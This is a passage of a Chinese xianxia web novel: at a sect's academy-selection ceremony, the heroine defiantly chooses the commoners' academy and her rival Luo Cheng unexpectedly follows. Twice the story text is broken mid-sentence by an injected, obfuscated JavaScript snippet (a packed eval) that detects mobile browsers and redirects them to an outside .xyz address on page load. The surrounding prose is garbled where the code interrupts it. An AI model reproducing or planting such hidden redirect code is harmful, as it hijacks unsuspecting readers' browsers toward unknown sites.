扶萤心中有数,果然片刻后便有驾鹤道童匆匆来报:“大掌院回归,如今山中掌院夫子们已经悉数到齐。晏真人命我来带你们去主峰参加择院仪式。” 这么快?众人面面相觑,只道这大掌院还真是急性子,便被鹤童以祥云一卷,一同捎带至了主峰。 主峰,名群玉峰,峰上有一璇玑阁,乃众掌院议事处,山中大事皆在此阁中决断。此时阁前宽阔的广场上已经站了一些弟子,分据三个方向,隐有对立之势。 众人被放在了广场正中空地,刚一落地,脚还没站稳,那童子又一拍袖袍,从他袖中飞出无数木简,落到每人手中。 “此乃投名简,你们且写下自己想要去的学院,之后会由掌院夫子们统一考校核对,决定你们的去处。”说完,他头也不回地又驾鹤离开了,看样子是要赶去下一个峰头传话。 看来这童子也是急性子。 扶萤目光在周围一扫,便落到手中木简上,只见其平平无奇,似乎就是再普通不过的木片雕成,可那小童说是让他们写下意向,却未给他们笔,又要怎么写呢?她看了看左右,有些人已经摸出随身携带的兵器,以其锋刃在竹简上刻字了。 难道是要用念力?扶萤心道。许多仙家秘籍是雕刻在玉简之上,小小一指长宽的玉简要刻下那许多内容自然不可能,因此制作者皆是以念力将功法纳入玉简中,后人若要学习,只需以神识探查。 这会是又一道考校吗?扶萤盯着玉简,微微皱起了眉,却忽地有道熟悉的声音传来:“此简须得以血书写。” 众人皆抬头看去,晏参商从远处走来,还是如初见那般拢着袖子,衣着素净。 “鹤童子想必忙得忘了告知你们此简用法。”晏参商走到近前,缓声解释,“血书之后,你们的竹简会被投入一座名唤‘青云鼎’的法器中,此法器会记录下你们的选择,但最终去向仍由各位真人决定。” 周围人听了,很快照其所言,划破指尖在竹简上书写起来,又见血滴一渗入竹片表面便消失无踪,只竹纹中掺入一丝鲜红,不由大呼神奇。 可扶萤却有一事不明:“要获取众人选择,方法有许多,为何非要我们以血书写,还要投入鼎中?” 晏参商像是觉得这根本算不上什么问题,答得平淡:“山中弟子皆受庇护,以血简投入法鼎,便相当于在名册上记了名,千里之外亦可追踪感应。” 扶萤是听过一些宗门会收集弟子心血为引,这就和本名魂灯一样的作用,在弟子遭遇危难时能作为追踪感应的凭借。但扶萤仍心存疑虑,只是晏参商轻描淡写,周遭人也纷纷照做,她终于还是没有再追问,也很快在竹简上写下自己的选择。 在他们忙着写字时,又有别的人到了,他们分作数队,当先两队着统一颜色的服装,一黄一青,泾渭分明。 “那是薛家之人?穿得这么珠光宝气的,生怕别人不知道他们有钱?”扶萤只听自家这边的人群里有人低声与同伴咬耳朵,她手指的那队人着杏黄色衣衫,头束金冠,脖挂东珠,腰佩美玉,个个都好似行走的珠宝匣子。 扶萤的眼睛被那金光晃了下,连忙移开目光,又见那人的手换了另一位浅青色衣衫的女子指点:“那是云氏的知薇姑娘罢?她与宋小姐据说一热一冷,一柔一刚,并称仙门双姝,可这么看来,还是我们小姐更好看些……” 在这两队人之后还有一列队伍,这群人虽仍是穿着光鲜,但就远不如方才那两队瞧着清贵了,当中各色衣衫混杂,人也是从少年到中年,高矮胖瘦,什么模样的都有。 扶萤大致在场中逡巡一遍,心中有了数。加上宋氏这拨人,空地上的新入弟子已总共有约莫数百人之多。不必说,前两队与他们一样,理应入学天道院,而第三队应当便是其他普通修真家族的后人们,当入地道院。只是…… 只是直到现在,她还未看到形似凡世而来的人,此次人道院的弟子又在何处? 在她思忖时,几个宋氏的姐妹子弟仿佛将此地当作了自家院子,一会儿说这个,一会儿评那个。终于,在指点到一位黑衣抱大剑在胸前的魁梧大汉时,被那人回头瞪了一眼,这才像是被卡了脖子的鹅,不作声了。 “修行者皆耳清目明,仔细你们的嘴。”终于,连一贯不爱说话的宋华月都忍不住开口。 扶萤忍不住弯了弯唇,转而环顾起四周。三面各自分据在场地外围的人群便是三院弟子,这自不必说,只是她略略一扫,见天院地院之人个个昂首挺胸,神情傲然,而人院却截然相反,除却寥寥几个人还能直着身子,其余的大多站得歪七扭八,似乎在打盹。 “……我打赌,这一次还是不会有新的师弟师妹的。”扶萤支起耳朵,隐隐能听到那边有个嘶哑男声在说话,嗓子好似破锣,“六百年了,除却我们这群老古董,还见过有别人来吗?要我说,与其费时间参加这择院大典,还不如在自己屋里睡一觉!” “你才几百岁,便敢自称老古董了?”另一道温吞的声音打断他,“我倒是觉得今年许会有所不同。昨夜我观星,见紫薇星动,是大吉兆。” 破锣嗓还不肯罢休:“你那破占星算准过几次?我们不如来打赌,若本次能有新人来,我便欠你五万灵石,若否,你便要给我打工一直到下次大比结束!” “夫子们都快到齐了,快安静些。”那温吞声音再次回应,但顿了片刻,又补充道,“不过……我答应你。赌便赌。” 扶萤闻言四下看去,果见此时除却晏参商,也已经有许多别的真人到了。他们或坐在众人头顶云上,或自乘鸾驾,还有分立于阁前长长台阶两侧的,皆高冠博带,仙袂飘飘,天上地下,风采卓然。 然还有一处空位。 璇玑阁正前方最高一层的平台处的位置空着,那位方才回山的大掌院再次姗姗来迟,将一堆人全晾在这里。 但许是对方地位尊崇,无人敢有意见,此时偌大的场中倒是比之前安静不少。当然,扶萤更愿意相信许多人正传音议论此事,但面上还是云淡风轻。 日头于头顶正悬,艳阳炙烤得人心生燥意。又等了许久,红豆有些站不住了,她几次三番想和扶萤说什么,又顾及周遭安静担忧闯祸,本就因炎热呈现绯色的面颊更加红,和秋天的柿子差不多了。 一旁的晏参商看出她憋得难受,忽地拂了拂衣袖,将三人与周遭隔开,轻声道:“想说什么便说罢。我已设下结界,旁人听不到了。” 红豆感激地看了她一眼,这才长舒出一口气,满是委屈地抱怨起来:“不是说山门两百年一开么?怎么这位掌院大人却可随意出入,先前所说的规矩都是儿戏不成?还晾我们这么久,我看他就是不拿我们这些新弟子当回事,随意戏弄我们……” “两百年一开,乃是对外面的人而言。你叫这些少爷小姐们两百年出去一次,那还不把他们憋坏了?”扶萤不及安抚她,晏参商已经发话,“三大世家之人可凭家主印开入山通道,至于其他的修士后人也多有自己的渠道来此,剩下的凡人,若错过这一次,便只能再等两百年了。” “算来,他们也早该到了。可护山大阵至今未被触发,或许今年,人道院颗粒无收也说不准。” 不知为何,扶萤觉得晏参商说起“颗粒无收”时,声音有些冰冷。 左右现在大掌院还没到,她想了想,试探着发问:“不知凡人入山,又会经过哪些磨练呢?” 晏参商语气悠悠:“凡人自南边的登仙道来,也就是你们那日的山道——只是并非像你们一般在半途开个口子,而是从再远些的山脚下的平原,一路过火海冰川,弱水兽林而来。” 她略微回头,目光落在远处隐在云雾中,只得些许朦胧影子的长长石阶路,神情竟然有些怀念:“当然,最后一重心魔幻境和你们倒是一样,不过要再奇诡险恶些,毕竟凡尘中的腌臜事,可是你们这等贵女想不到的……” 扶萤这才知道,原来他们那日已经算是走了后门,若真令他们去走冰川雪原,刀山火海之类,还不知有多少人过不来。 她转念又默了句,“凡尘中的腌臜事”…… 扶萤忽地抬眼看晏参商:“你也是……?” 她一直以为覆羽山虽有三院广纳各方修士,但只教习弟子的掌院夫子们,定然皆是世代修真的家族里出来的。却不料不过短短六百年,竟已有人能自一凡人成为掌院,如何不叫人心生震动? 晏参商还是那身朴素麻袍,拢着手立在人群中,身形清瘦。 扶萤又抬头看看端居云层与石阶高台上的诸位天院、地院的掌院夫子们,缓缓回过味了。 似乎唯有晏参商,从来接他们入山开始,便一直与这群弟子站在一处。 见她眼眸闪烁,晏参商略微挑了挑唇,似乎还想说什么,却随即目光微凝,忽地看向场中。 与此同时,四面原本还心不在焉神游天外的人也都站直了身子,扶萤只觉有道可怖的威压自半空罩下来,便见一位老者从虚空中缓缓步下,稳稳落在了阁前那专门留出的空位处。 “大掌院到!”有道童高声唱报,声音在寂静广场上传出老远。 至此,万众瞩目的择院仪式才算正是开始了。 ** 老者白发白眉白须,身披紫色道袍,神容威严端肃。扶萤看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15883603|176411||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了他一眼又一眼,却怎么看都觉得古怪。 看出扶萤在疑惑何事,晏参商道:“那只是大掌院的分神。” 扶萤这才恍然自己觉得古怪在何处:青天白日的,老者站在高台上,却连一丝影子也没有! 这般可怕的威压,她前世今生仅见过此一人,可这竟然只是一道分神!那其原身又该是何等通天彻地的威能呢? “大掌院百年前便入渡劫期,是目前整个仙门离飞升最近之人。”晏参商的语气恭敬,对老者尊崇备至。 老者站定后不发一语,只是缓慢扫视过场中众人,随即伸手在阶下一点。 他指尖有一紫光激射而出,随即在场中空地凝聚成一个青铜鼎,鼎上密密麻麻镌刻无数铭文,鼎中则腾腾燃烧着青色火焰,却丝毫未令人感到热意,反倒有些沉冷,肃杀,带着血气的气息从鼎中传来。 这就是晏参商所说的青云鼎! 扶萤明了,原本安静的场中也小小沸腾了一下,心知重头戏终于到来。 还是先前唱报的道童,不知从何处掏出了名卷,开始一个一个叫名。 被他叫到的人欣喜上前,将手中竹简投入鼎中,便见火焰飞速将竹简吞噬殆尽,腾起袅袅青烟,于鼎上汇聚成一个字——“天”。 那人环绕周围,见天院掌院对其微笑颔首,忙压抑出面上激动神情,加入了天院的队伍中。 之后的人也多是如此流程,大多得了掌院首肯后,便顺利入了所择院落。也有些被所选院落以资质较差等缘由拒绝的,但在力争之下,也多有夫子为之作保,也能顺利入选。而那位大掌院自召出了铜鼎,便闭目不语,好似睡着了一般。 扶萤的神识又忍不住飘远了些,朝着人道院弟子们的方向探去。 “这个是地院的,我赌十个灵石!”还是那个破锣嗓在和人打赌。 “是天院的,我算过了。”另一人慢吞吞回他。 扶萤又分神看了看鼎,果见其上浮现“天”字,便对那占卜者添了几分信服。 此时又是一阵私语,二人停止交谈,被场中动静吸引了注意力。 扶萤也看去,便见此时投木简的正是宋华月。她将木简一抛入鼎中,鼎上青烟立时浮现出大大的“天”字,比先前所有人的都要凝实许多。 这倒没什么可惊奇的,周遭弟子知她身份,看去的目光虽亦有妒忌,但还是向往居多。 毕竟若有一人在你身前数尺,你便总会想着将她拉下,与之并肩。但若此人高悬于所有人头顶,那么你便生不出要亵渎算计的心思了。谁会嫉妒月亮呢? 接下来岑纤,宋氏其余姐妹兄弟也各自投了,也无一例外,皆是天院。 剩下的未择院弟子已经不多,差不多便该扶萤了。可她还没上前去,另一边的队伍中却忽地又窜出来一人。 此人却是已经择过院的人中的一个,不算太起眼,扶萤会注意到他全因其一身漆黑,头顶高帽,好似民间传说中黑无常的打扮。少年站定了,鼓起勇气对天道院掌院道:“我、我不想入地院……”他目光殷切,“我要入天院,掌院大人,求你网开一面,让我入天院吧!” 他话一出,地院掌院月摇仙子神色陡然沉下来,这般择院后又当众反悔的例子不是没有过,但落在谁身上都是没脸。而天院掌院则是个面容平和的中年人,半只手臂形同枯木,人称枯荣真人,他闻言笑了,笑容如春风和缓,话语却尖锐异常:“你根骨平平,家世平平,如何能来我院?” 少年脸红了,身躯抖了抖,像是很耻辱。可他还是低声辩解:“可,可我会努力的……若入天院,我保证全心修行,不拖各位师兄师姐的后腿!” 枯荣真人又笑:“想进天院的人如此多,你口说努力,不拿出点行动怎么行?”他道,“便如现在,你能否入院只在我一念之间,你会为此……作何努力呢?” 少年这才发觉面容平和的中年人并不如他所想那般温和可亲,不由顿了顿,可随即他想到些许关于对方的传闻,便直直跪下,也不言语,砰砰磕起头来。 他一边磕头,一边膝行朝着天院众人方向膝行过去,很快面上便糊满了血水,但依旧未曾停下,像是掌院不发话,他就能磕到天荒地老一般。 “好了。既然如此,便破例准你进来吧。”良久,枯荣真人像是看够了,轻轻一摆手,“只是进院后你不可与其他弟子同住,毕竟身世有别。” 少年喜极而泣,忙谢过他,才拖着瘦小身躯慢慢缀在天院队伍末尾。 这不过一个小插曲,其余人见怪不怪,扶萤却皱着眉头,有些不舒服。 终于,轮到扶萤择院了。 道童高声唱出她名姓,人群分开,看着她一人走上前去。 “她就是宋家那个……那个……”有人小声嘀咕。 其他人追问:“那个什么?” “那个自称天赐神力的庶女呀!”那人将话说全了,“还口出狂言,说世家人的教习法子都无用呢!她也要去天院?” 11. 人道 扶萤甫一出列,不少夫子便暗暗点头。 “此女资质果真上好。”他们中不少人已耳闻扶萤身上玄妙经历,但在此前只道是其胡言乱语博人眼球,此刻见了扶萤本人,确实遥遥便可在其身上感到些与其年纪不相符的玄妙气机,倒对那传闻多了一丝信服。 “的确是上佳的根骨……”枯荣真人也以那双狐狸般细长的眼睛打量扶萤,但柔声夸过一句后,语气却又忽地一沉,“然此女着实骄狂,即便宋氏出身,我们天道院也怕是容不下这等大佛!只能请其他院的夫子们代为教导了。” 他说完,将两手一抄,竟是看也不看扶萤了。 听他这么说,先前夸赞过扶萤的修士面色也僵了僵。掌院的地位超然,即便他对扶萤心有好感,也不可越过掌院将她收入院中,只能改口道:“如此……宋楹姑娘,你看,是否去地道院……”他到底起了惜才之心,说着,朝月摇仙子看去。 掌院仙子还沉浸在方才被新弟子背叛的耻辱中,此刻明显心情欠佳,闻言呛声道:“我们地院难道是天院不要之人的收容所不成?既然你们不要,那我也不要!” 两院掌院都如此说了,其余夫子纷纷移开目光。唯有那位大掌院,依旧耷眉闭目,如陷沉眠。 扶萤攥着木简还没来得及投入鼎中,此时看着枯荣真人,又瞧月摇仙子。 枯荣真人,原名莫枯荣。因修炼万木诀的途中走火入魔,故有一条手臂化为枯木,据传自那以后,他的脾气便愈发古怪,动辄打骂侍奉之人,以见血为乐,更是曾干出令侍从磕头一日,比谁溅出的血花更好看的荒唐事。 关于他的癖好流传甚广,先前少年定然是想到这一茬,才急中生智采用了磕头取悦他的法子,不料果真凑效。 枯荣真人微微侧身,从眼角分出一缕余光给扶萤,嘴唇弯起,像是笑了下。 扶萤不闪不避,看着他的眼睛,也笑了。 他是想要她也像先前那位小小少年一般,冲他磕头求情,为自己谋一个好去处吗? 让她这个方立起来的“神女”从庙台跌落,沾染上泥水,磋磨掉棱角,再也不能说僭越之语,再也不能行份外之事。 “怎样?天院地院皆不容你,便自去人院好了。”月摇仙子低头抚了抚自己的指甲,轻瞥晏参商一眼,语气有些古怪,“反正她一直绕着你们这群新人打转,都不与我们站在一处,我看应该很是喜欢你才对。” 晏参商闻言神色不动,到底没有一口应下,只道:“她是个好孩子,我确实喜欢她。但此等资质入人道院,未免……” 她轻轻叹息,没有说完。 虽然明面上大家说是三院平等,但人道院的夫子们与她一样都是凡世出身,无家底傍身,也无法为弟子提供什么天材地宝,灵石法器,人院弟子要购买丹药法器之类,只能自己在课余时间接任务赚取报酬。 故而同等的起始条件下,人院弟子通常会比其他弟子进境慢上许多。就拿初代的弟子来说,除却她因机缘巧合到了化神期,领下掌院之职,其余人还大多在元婴与金丹停滞不前,再过几百年,还不知有多少人会面临寿数将尽的局面。 她虽喜欢宋楹这孩子,却也担忧其前途。若她真却入了人道院却被贫瘠资源所拖累,埋没天资,修为停滞,乃至一生悔恨,心生怨怼……这便是自己所要背负的因果了。 众目睽睽下,扶萤沉默良久。 任谁遇到这般情况都免不了沉默,众人耐心等待,可等了片刻,见扶萤仍然只是静静凝视着虚空中的某一点,像是在出神,不少人便按捺不住了。 “你说,她会选哪边?”好事者又挑起话头。 “要是我,便求一求枯荣真人。虽然当众丢人了些,但天院的弟子是真有钱啊!”回他的弟子明显早对天道院的诸多福利眼馋了,“就不说每月会下发的一万灵石了,据传枯荣真人有一九层宝塔,内中藏的是他早年间游历各界得来的珍贵法器,只要得了他青睐,千种法器随意取用……这可都是市面上万金难寻的宝贝!” “那是自然。若非有诸般好处,你当先前那冒着得罪月摇仙子也要转院的人是傻子不成?” “可她之前说的话得罪了许多高门之人,即便能去天院也少不了受欺负。倒不如转而去地院或者人院,至少她的身份还能压过同修……” …… 诸般声音,比蝉鸣更嘈杂。 就在一群人目光闪烁,等着看扶萤如何应对时,一道低沉威严的声音缓缓响起:“你若无处可去,可入我门下。” 高台之上,自择院仪式开始后便一直闭目不语的老者竟睁开眼了。 他眼球浑浊,像蒙了厚厚尘土的琉璃珠。声音虽不大,却炸雷般落在场中,顿时一石激起千层浪。 枯荣真人声音忽地尖利:“大掌院!”其余各院真人与弟子也无不悚然变色,讶异朝着老者望去! 大掌院虽是历来主持择院典礼之人,可他毕竟地位超然,只需站在那处,一个眼神不必有,一句话也不必说,便已经能给人高山仰止之感。 这样一位举世敬仰的大能,从前可是连半个字都罕奉,更别说主动提出要收谁为徒! 便见老者眼球缓慢转动,在枯荣真人,月摇仙子,以及天院地院一众教习夫子们的面上扫过,那目光平淡,却有如千斤,直将一众人看得纷纷眼神游离,他才又淡道:“你们几家之间怀着什么心思,背后要耍怎样的花招,我不想管,也管不了。” 他说得老气横秋,似乎自己真的已经管束不了众修,可身上威势又分明沉沉压在每个人背上:“但我此番下山料理魔乱,深觉魔族之祸,祸及千里,之后少不得要与之开战。难得能有这般根骨上佳的苗子,又有天赐神力在身,乃是山中幸事,合该好好培养,也为仙门添一战力。” 枯荣真人冷笑:“我看你是老糊涂了,竟真信她那般神鬼之说。这等妖言惑众的女子,也能算好苗子?我看是带来动荡的灾星还差不多!” 大掌院眉目不动:“福星也好,灾星也罢,只要能为仙门出力,老朽便少不得得帮上一帮。” 枯荣真人气结:“你!”但动了动嘴唇,终究无法反驳,于是又阴沉看向扶萤。 不止他,其余或嫉或羡的目光也都落到扶萤身上。 竟是被她得了这求也求不来的天大机缘!不少人神色依旧稳重,可心中已经掀起滔天妒火。 从不收徒的大掌院,离飞升最近的仙门第一人……成为他的徒弟会获得怎样的机遇,是旁人难以想象的。 扶萤从老者开口便一直注视着他,此时方缓缓开口:“多谢大掌院好意,此恩此德,我定然铭记五内……” 她低眉顺眼,踏前了一步,离那高台更近了。 青铜鼎内火焰仍在熊熊燃烧,散发着阴冷气机的火苗像是能感到周边许多人的恼恨情绪,跃动得更加欢快。 凭什么是她?若换做是我在那个位置,会不会也能得到掌院青睐,成为他的首徒? 为什么是她? 为什么……不能是我? “不过……我早为自己选好了去处。”扶萤慢慢将剩下的半句话说全了。 她忍不住笑了下,笑意冰冷。这些人火急火燎,怎么就没一个想过要问问她的选择呢? 她略微松开一直紧攥的手,手心已经出了些汗水,将竹简略微浸湿了。随即扶萤没有再看任何人,直直走到铜鼎前,将木简投了进去。 竹简划出一道流畅弧线,青铜鼎内火焰顿时将之吞噬,青烟直上,飘荡了片刻,慢慢凝实了…… 不知多少双眼睛紧盯着那团烟气,便见它们像是被无形之手摆弄驱赶,缓缓组成了一个字—— “人”! 一个世家子弟竟然主动选择了人道院! 原本还在争论扶萤最终去向的人霎时目瞪口呆,当中以从前与其同住别庄的宋氏人尤甚。他们不明白怎会有人放弃眼前良枝而主动往低处走,不少人想到了扶萤先前的“小手段”,心说难道是她担忧在天道院被他们排挤报复,或是不愿正掠其余世家精锐锋芒? 毕竟,传闻她可是说了好些狂妄之言,若从这个角度来说,她要避开与那群高门贵族正面接触,也是讲得通的…… 晏参商愣怔过后,微微舒了口气,心中虽不乏忧虑,但仍是喜悦居多。人道院方向,与身旁温和青年赌了一路的破锣嗓忽地安静下来, “怎么?被毒哑了?”他身边人轻笑了声,那笑容难得不似平日淡淡,而是带着发自内心的愉悦。 “少废话!小爷我愿赌服输……”好半晌,破锣嗓才又说话了,只是听他语气还有些飘忽,如在梦中,“反正下次大比也不远,我也不必为你打工太久。这么想来,我也不算亏……” 被扶萤的选择震住的显然不止一众弟子。高台之上,枯荣真人已然顾不得拿乔,一拂袖怒道:“胡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15885442|176411||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 闹!你如何能去人道院!” 断然大喝完,他却又像是察觉自己说错话,忽地收了声。 他先前的表现,不就是将人往人道院逼吗? 其实若要他来说,不如就让这小丫头去好了。人道院一群破落户出身的,什么也给不了她,彼时她修为停滞不前,寿数在望,要拿捏还不简单? 此女浑身傲骨,也该一节节敲碎她的骨头,让她尝尝,烂在泥里是什么滋味…… 但…… 他想起宋夫人的嘱托,忽感进退两难,不由愈发恼恨。 “为何不能?”扶萤直视他的眼睛,竟然不紧不慢反问起来,“虽三院划分之俗由来已久,但我实在很想聆听真人教诲……你与我,我与其他人,乃至世家人与天下凡人,究竟有何不同?” 人群中,一直事不关己般神游天外的宋华月忽地深深看向场中那道白衣身影,眸底情绪难辨。 怜芍闻言,大惊失色。她在宋氏开那日并未跟在宋华月身边,之后随诸多侍奉仆从一同前来,自然不知扶萤在这群弟子中的名声,此时不由震怒:“她可别忘了,她自己也是宋氏之人……!” 宋华月听了她的话,却无任何表示。而扶萤不等枯荣真人回应,已经又接着道:“试问,我们哪个人生下来便高人一等?我与真人你,不皆是两眼一鼻一口吗。还是说,真人你比我,比地院、人院的其他人多了什么部位,这才与众不同?” 她状若天真地歪了下头,漆黑眼眸闪烁着隐藏得很好的恶意。 人道院的方向不知是谁没忍住,“扑哧”一声笑了出来,又“嘎”一下止住了,像是被人掐了一把。 枯荣真人面皮抽动,不阴不阳笑了笑,显是在极力压制情绪。 扶萤看着他,突然又乖觉地改了口:“当然,我此举并非是不满山中制度,或是对所谓‘天道’有所质疑。毕竟我乃是蒙受浩荡神恩方有如今机缘,自然笃信上天之德。”她再次上前一步,“我只是想以身践行一事……” 四下静得落针可闻,少女仰着头,口吐惊人之语,面上却云淡风轻,好像只是在说自己今晚要吃什么。 “我要以我己身告诉所有人——”她说,声音很轻,却似洪钟嗡鸣,砸在无数人的心上,“人道,方为天道。” 人道,方为天道。 许多年后,当关于少女的一切已成传说,海内十洲的无数凡人依然会不时提起这句话。 而此时,在扶萤话音落下后,大掌院浑浊的目光微微一动,枯荣真人却已然忍至极点,勃然大怒,他袖中掌心曲成爪状,抬手就要朝她脖颈捉来! 此乃其所修的一门隔空摄物的功法,若扶萤真被他抓住,虽不至于毙命,但指定少不了要吃苦头。然他方抬起手,竟有另一道力量制住他,枯荣真人猛地抬眼看向大掌院,老者目光都未移动半分,但他知道,定是这老东西在作怪! 枯荣真人暗自咬牙,又添了几分气力与之抗衡。 二人暗中僵持之际,却闻一道雄浑钟鸣再次于茫茫天穹上轰隆响起,惊雷一般炸开。 玄黄钟再次奏响,还有旁人到来! 众人面露惊异,只道择院大典已近尾声,此时还有谁要来?晏参商却是想到什么,蓦地回头,朝着远处登仙道方向看去。 却见一道青色电光势若奔雷,携带着些许腥气砸在了对面峰头,顿时激起漫天烟尘。而看那电光来的方向,果然便是登仙道! 今年也是奇了,人道院竟然还能收到第二个弟子不成?众人心中皆浮现此疑问。 烟尘散去后,有一高大身形破云而来。 无数双眼睛都盯着那道身影,欲要一睹这数百年来首位涉过冰原蛮荒,又穿越心魔境与登仙阶的凡人面容,而随着那人越来越近,他们便讶异地发现—— 来的竟不是一人,而是两人! 站立的一人身姿高大笔挺,而他身上还挂了另一个个头稍矮些的人,后者手臂搭在他脖子上,大半个身体都依靠着他,像是已经受伤失力。 云雾终于全然消散,扶萤看清来人面容,瞳孔骤缩。 男子容貌在二十上下,面如冷玉,轮廓深刻,五官俊美。他黑如墨画的长眉斜飞入鬓,薄唇紧抿,在左边的眉骨之上,有一道新添上的细小伤痕,正在微微渗血。 来的竟是她再熟悉不过的人。 洛呈……洛呈! 他怎么会从登仙道的方向来? 12. 寒山 洛呈落地,先找了处场地边缘的树下空地将所搀抱的少年安置好,这才提步朝场中走来。 他依旧是惯常的一身利落青衫,腰束白玉带,身姿挺拔如修竹。但走到近前,众人便发现他衣襟与袖口处似是被什么尖锐物划了多处裂口,其上还有些血迹,只不知是他自己的,还是方才那少年的。 反应最大的当属枯荣真人,他也顾不上要给扶萤教训了,上下打量了洛呈几眼:“你怎得才来……”未说完便收了声,面色沉如山雨将临,“你这是受伤了?” 洛呈朝他恭敬地作了一揖,直起身缓声解释:“弟子从来北方冰原来,一路过火山兽林,途中遇见这少年,便一时兴起跟在他身后。他身手敏捷,有勇有谋,但通过心魔境后便力竭昏迷,我不忍他前功尽弃,这才出手救下他带到此地。” 这么说来,他衣服上的裂口和血迹便是在救人的时候留下的了。 枯荣真人又沉声问:“你本为修士之后,不必经过凡人的种种考校,又为何要去冰原那等地方?你可知择院仪式已经进行大半,若错过这次,便是你父亲在此,也没法将你再塞进天院来!”听起来,像是与洛呈之父颇有交情。 洛呈静立了片刻,听枯荣真人提起他父亲时手指蜷缩了下,忽地笑了。 “从前我一直过得浑浑噩噩,将一切当作理所当然。”他嗓音干涩,喉结滚动数下,才继续道,“如今才想要体会一下凡人成仙需要行经之路,虽是晚了,但总算有所收获。” 什么晚了?四下听者都有些不解。 况且,即便他真的亲身走过了那些在凡人看来有如天堑的逆境与鸿沟,又能有什么收获呢?无论洪水火海或是猛兽毒虫,对于修士来说,皆不过蜻蜓点水罢了。 但一想到还在昏迷的黑衣少年,他们便也释怀了。想必只又是一个高高在上的少爷突发奇想想要体会凡间疾苦的故事罢,这等事情也不罕见,每隔个几十年就会闹一次。 若说有什么收获,那也就是此人了。 众人目光慢慢转向那靠在树根处的少年,正巧,少年此时也悠悠转醒,撑着地面缓慢站起来,抬起衣袖擦了擦满脸的血污。 他先前半张脸都被血糊住,此时擦干净脸抬起头,众人才发觉其看着很是年轻,凤目薄唇,容貌昳丽。 这是个极为难得的美少年。 “弟子……祁红莲。”美少年拖着残躯,朝着场中走近一步,四面弟子纷纷为他让行,看着他走到了青铜鼎前,“自请入人道院。”他说着,直直跪下,又十分虔诚恭谨地将额头贴在了地上。 没人质疑他的资格,即便他在最后离登仙阶一步之遥为洛呈所救,但作为数百年来首位成功通过凡人考校的人,他的能力自然毋庸置疑。 惯是爱挑刺的枯荣真人破天荒没作声,当然,也可能是因为有更大的刺头在先,这小小少年的入院考校是否合规便显得没那么重要了。 晏参商上前去扶住少年双手,将自身灵力输入其经脉中为其疗伤,直到对方疼痛稍缓,直起了身,才在他肩头轻轻一拍:“好孩子。从今日起,你便是我人道院之人了。且先入队去吧。” 她伸手一点远处队列,有一高一矮,一红一蓝两道身影站在队伍最前方,红衣人见状,朝着这边兴奋挥手。 少年慢慢走了过去,被红衣人一把拖过,夹在了他们中间。 扶萤收回望向那边的目光,重新看向洛呈。 青年长身玉立,眼眸低垂,压低的眉骨下长睫细密,目中像是酝酿着某种未知的疯狂。 她的心止不住沉了沉,一种不祥的预感攫住了她。 “还愣着作甚,过来罢。”枯荣真人看着洛呈,声音有些冷。 青年于是缓缓朝他走去。 洛家虽实力强劲,但根基尚浅,他本该入地道院才对。但此时却无人质疑,像是某种约定俗成的认知。 毕竟是有“天下剑宗”之称的玄极宗的少主么,有些特殊待遇也是应当的。 可洛呈走至铜鼎前,却忽地不动了。 “磨磨蹭蹭作甚。”枯荣真人又皱眉。但相比平日,他对洛呈已算是十分有耐心了。 洛呈看着他,神情平静:“弟子……”嗓音有些沙哑,他顿了顿,再开口时,声音恢复坚定,“弟子亦自请入人道院。” …… 璇玑阁前,众修皆寂。 今年这择院仪式可真是见鬼了!来了个宋楹便罢,居然连洛呈这等天之骄子也想去人道院掺和一脚,这一个个的,都失心疯了不成? 众修已经不敢看枯荣真人面色,纷纷眼观鼻鼻观心,像是突然变成了聋子。 半晌,枯荣真人笑了声,冷冷看着洛呈。 “你再说一遍。”他说。 一种无形的威势从他身上散发出来,落在洛呈肩脊上。但少年承此重压,却仍旧直直凝视他,直到唇边渗血也不改口:“弟子洛呈,请入……人道院。” 半晌,枯荣真人缓缓收了力。 他虽恼到了极致,但毕竟是故人之子,又……有那位的亲自嘱托,总不能真将他如何。 只是却不可当真应下他的要求。枯荣真人眯起眼,手指微动,已经在考虑直接将人打晕带走,关押到他改变主意为止的可行性。 所有人当中,最惊怒的要属扶萤。 若说那祁红莲说出“自请入人道院”时,扶萤是心中震动带有一丝酸楚感慨,而洛呈说出这样的话,她却只有愤懑了。 他怎么敢?怎么能? 在从未过过一天凡世生活的情况下,在做出那样的事后,假惺惺地站在这里,说他想入人道院? 扶萤只觉胸中骤然有炽热火焰腾起,将她血液都熬得发干,可她语气却是冰冷的,比从前她洗剑的潭水更冷。 “你凭什么入人道院?”不等枯荣真人再说什么,她忽地发问。 洛呈却看也不正眼看她,只垂眸淡淡道:“我凭什么不能?” 扶萤深吸口气:“人道院本为凡俗修者所设,洛公子前来,恐怕不合适罢。” “宋姑娘如此说,你不也是宋氏之人吗?”洛呈这才抬眼看她,他唇边血迹未干,面色又苍白,令他看着不似循规蹈矩的贵族公子,倒像地狱恶鬼,“论出身,你生于世家,比我还尊贵些。你入得,我却入不得?” ……因为 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“哦?”扶萤并无意追问下去,很快换了个方向试图说服,“你家中人定然对你寄予厚望,他们会甘愿放你入人道院吗?你真能一意孤行到底,对旁人的期待视而不见吗?”她意有所指地轻瞥了一眼枯荣真人,“若否,你的一时冲动便只会为旁人带来麻烦,洛公子,你可有想过?” 